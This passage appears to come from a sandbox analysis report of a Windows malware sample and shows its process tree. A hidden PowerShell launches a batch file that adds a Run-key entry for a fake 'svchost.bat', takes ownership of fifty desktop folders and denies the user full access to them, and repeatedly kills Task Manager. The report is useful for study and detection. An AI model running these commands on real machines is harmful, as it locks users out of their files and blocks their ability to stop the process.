  icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4624
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4136
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1552
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:6096
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:4920
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5712
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:976
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:228
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:116
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5272
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:5640
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4228
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1260
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5488
- C:\Windows\system32\icacls.exe
  icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
  2⤵
  PID:1956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1112
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:3672
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      Adds Run key to start application
      PID:2176
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1952
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2584
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2404
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:5508
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1028
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:3572
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:4060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2380
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:2848
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:6088
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      PID:1528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1144
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:2548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4084
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:2964
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5528
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:5204
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:3628
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2728
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:4112
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:3956
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:1948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5108
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:5256
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2436
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:696
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:1320
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /setowner "Admin" /t
      4⤵
      PID:5648
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder19" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /setowner "Admin" /t
      4⤵
      PID:1744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder20" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5992
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /setowner "Admin" /t
      4⤵
      PID:4732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder21" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1052
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /setowner "Admin" /t
      4⤵
      PID:3372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder22" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5348
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /setowner "Admin" /t
      4⤵
      PID:4932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder23" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3612
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /setowner "Admin" /t
      4⤵
      PID:5796
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder24" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5340
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /setowner "Admin" /t
      4⤵
      PID:4584
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder25" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2736
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /setowner "Admin" /t
      4⤵
      PID:1064
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder26" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1460
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /setowner "Admin" /t
      4⤵
      PID:5468
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder27" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3328
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /setowner "Admin" /t
      4⤵
      PID:5152
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder28" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5104
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /setowner "Admin" /t
      4⤵
      PID:224
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder29" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /setowner "Admin" /t
      4⤵
      PID:5012
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder30" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3492
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /setowner "Admin" /t
      4⤵
      PID:3524
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder31" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /setowner "Admin" /t
      4⤵
      PID:660
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder32" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3664
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /setowner "Admin" /t
      4⤵
      PID:5164
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder33" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4396
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /setowner "Admin" /t
      4⤵
      PID:5168
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder34" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3932
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /setowner "Admin" /t
      4⤵
      PID:3408
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder35" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3580
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /setowner "Admin" /t
      4⤵
      PID:5804
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder36" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2800
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /setowner "Admin" /t
      4⤵
      PID:1272
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder37" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3656
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /setowner "Admin" /t
      4⤵
      PID:4060
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder38" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3836
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /setowner "Admin" /t
      4⤵
      PID:5464
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder39" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2944
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /setowner "Admin" /t
      4⤵
      PID:1948
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder40" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5124
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /setowner "Admin" /t
      4⤵
      PID:2228
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder41" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4844
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /setowner "Admin" /t
      4⤵
      PID:1936
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder42" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5332
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /setowner "Admin" /t
      4⤵
      PID:2200
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder43" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:372
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /setowner "Admin" /t
      4⤵
      PID:708
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder44" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2548
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /setowner "Admin" /t
      4⤵
      PID:4692
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder45" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:476
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /setowner "Admin" /t
      4⤵
      PID:224
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder46" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1280
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /setowner "Admin" /t
      4⤵
      PID:5544
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder47" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1868
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /setowner "Admin" /t
      4⤵
      PID:2744
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder48" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /setowner "Admin" /t
      4⤵
      PID:4100
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder49" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /setowner "Admin" /t
      4⤵
      PID:2512
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder50" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6040
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5088
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:3680
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
        6⤵
        
        PID:3888
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
        6⤵
        
        PID:1160
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5144
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
        6⤵
        
        PID:4568
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
        6⤵
        
        PID:5472
      - C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
        6⤵
        
        PID:3788
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:224
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      PID:4240
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:5216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      PID:5640
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
        5⤵
        
        PID:5528
      - C:\Windows\system32\mode.com
        
        mode con: cols=1 lines=1
        6⤵
        
        PID:5816
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:1076
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:3828
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4584
  - - C:\Windows\system32\cmd.exe
      cmd.exe
      4⤵
      PID:5372
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /im taskmgr.exe
      4⤵
      Kills process with taskkill
      PID:3260
  - - C:\Windows\system32\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4772
- C:\Windows\system32\cmd.exe
  cmd.exe
  2⤵
  PID:3564
- C:\Windows\system32\taskkill.exe
  taskkill /f /im taskmgr.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\system32\timeout.exe
  timeout /t 1 /nobreak
  2⤵
  - Delays execution with timeout.exe
  PID:1804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\a.bat\"' -WindowStyle Hidden"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1416
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\a.bat"
    3⤵
    PID:1036
  - - C:\Windows\system32\mode.com
      mode con: cols=1 lines=1
      4⤵
      PID:4756
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHost" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.bat" /f
      4⤵
      PID:2640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /setowner "Admin" /t
      4⤵
      PID:6076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder1" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1440
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /setowner "Admin" /t
      4⤵
      PID:5048
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder2" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3900
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /setowner "Admin" /t
      4⤵
      PID:892
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder3" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5824
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /setowner "Admin" /t
      4⤵
      PID:4712
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder4" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2620
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /setowner "Admin" /t
      4⤵
      PID:3940
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder5" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:4044
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /setowner "Admin" /t
      4⤵
      PID:3820
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder6" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:1840
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /setowner "Admin" /t
      4⤵
      PID:5536
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder7" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:968
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /setowner "Admin" /t
      4⤵
      Modifies file permissions
      PID:4920
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder8" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5640
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /setowner "Admin" /t
      4⤵
      PID:5732
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder9" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:864
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /setowner "Admin" /t
      4⤵
      PID:3144
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder10" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      Modifies file permissions
      PID:5480
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /setowner "Admin" /t
      4⤵
      PID:1496
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder11" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:2972
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /setowner "Admin" /t
      4⤵
      PID:1872
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder12" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:632
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /setowner "Admin" /t
      4⤵
      PID:4168
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder13" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3172
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /setowner "Admin" /t
      4⤵
      PID:3260
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder14" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3556
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /setowner "Admin" /t
      4⤵
      PID:3560
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder15" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:752
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /setowner "Admin" /t
      4⤵
      PID:5076
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder16" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:3836
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /setowner "Admin" /t
      4⤵
      PID:6080
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder17" /deny "Admin:(OI)(CI)(F)" /t
      4⤵
      PID:5808
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Users\Admin\Desktop\SystemFolder18" /setowner "Admin" /t
      4⤵
      PID:5936
  - - C:\Windows\system32\icacls.exe
